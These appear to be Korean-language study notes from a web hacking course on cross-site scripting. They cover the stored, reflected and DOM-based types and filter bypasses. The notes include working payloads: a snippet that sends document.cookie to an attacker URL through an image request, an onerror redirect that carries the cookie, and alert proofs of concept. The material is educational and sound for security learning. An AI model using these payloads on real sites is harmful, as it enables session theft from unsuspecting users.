XSS
클라이언트 측 코드를 삽입하는 공격으로 클라이언트 브라우저에서 실행
XSS 시나리오
브라우저에서 실행하는 코드에 따라 가능성은 무궁무진
POC 코드
alert(1) - > 화면에 보이기 때문에 사용
임의의 클라이언트 측 코드가 실행되는것을 보여주기만 하면 됨
Session 탈취
쿠키:
document.cookie
이 쿠키값을 공격자 서버로 전송
var cookie = document.cookie;
var img = new Image();
img.src = "URL?cookie=" + cookie;
<img src="url">과 같이 HTML은 document.cookie를 접근 못함
<script>태그 사용을 못할 경우
<img src="dsfdsf.png" onerror=location.href="url"+document.cookie>
위 코드에서 onerror와 같은 이벤트 핸들러가 있음.
script를 못쓸때 패턴
<img src=x onerror="alert(1)">
직접 해보는 것이 중요.
방법 : 아무런 파일을 만들어서 코드를 넣어서 실행해봄
콘솔창에서 확인 시 리다이렉트 됨.
document.cookie 확인 -> 안됨
script 태그 안에 있어야 함.
<img src=x onerror="var+cookie=document.cookie">
*XSS
1) 서버에 스크립트를 저장
Stored XSS
장점 : 그 사이트에 접근하는 모두에게 공격 가능
단점 : 특정인을 겨냥하기 쉽지 않음, 기록이 남음
2) 서버에 스크립트를 저장하지 않는 방식
Reflected XSS
대표적 예시 : 검색창, 아이디 중복검사
보낸 데이터를 서버가 받아서 다시 출력하는 곳에서 가능
burp swip에서 Repeater에서 내가 삽입한 글자가 존재하는지를 확인하여 가능여부 판단.
->링크를 전달하는 방식으로
대표적인 방법은 short URL., 이미지나 문자에 링크.
*****그래서 반드시 get방식으로 전달이 되어야함.
post 방식이면 change request mathod를 통해 get으로 내용을 보내봐야 함.
3)DOM Based XSS
<script>
var img = new Imgae();
</script>
삽입한 값이 출력되지만 response에는 보이지 않음 - > 이 값을 만들어내는 곳은 클라이언트 브라우저.
document.get ElementById('srch').innerHTML
<p>태그와 같은 어떠한 태그 안에서는 <script>태그가 실행 안됨.-> </p>로 태그를 끝내고 <p>로 태그를 넣음.
script태그를 쓰지 않고 p태그 내에서 넣는 방법
이벤트 핸들러.
띄어쓰기의 경우 url에서 +로 바꾸기 때문에 이를 %20으로바꿔야함
dom based xss찾는 팁
1. 화면을 잘보기
2. 객체 생성 부분 잘보기.
document. ~~ innerHTML=????
*Reflected XSS
>모든 페이지의 모든 파라미터에서 일어날 여지가 있음
찾는 팁
1. 넣은 값이 출력되는가
2. <"'> 특수문자가 출력되는가
3.<script> </script> alert() 등 하나씩 넣어보고 어느것을 필터링 하는지 확인.
1.히스토리 비워놓기. 파라미터 확인 편하게 하려고.
2. 로그인. 로그인할떄 파라미터 있는것중에 도메인이 같은것 확인
3. 파라미터 있는것에 입력값과 출력값이 있어야함.
4. get 가능여부 확인
5. <"'>확인.
6. 코드 작성. 불필요한 부분은 주석으로 날림
7. URL인코딩 확인 중요.!! ex) +는 띄어쓰기 %2b를 넣어야 함.
과제
1. 오늘 배운거 공격기법 정리.
2. xss 2,3,7 replacted 취약점 찾기 alert 띄우기
3. 웹개발
게시글 페이징
'Nomaltic Hacking Study' 카테고리의 다른 글
2023.05.25 (0) | 2023.05.25 |
---|---|
2023.05.18 (0) | 2023.05.18 |
2023.05.09 (0) | 2023.05.09 |
2023.05.04 (6주차) (0) | 2023.05.04 |
2023.04.2(2) (0) | 2023.04.27 |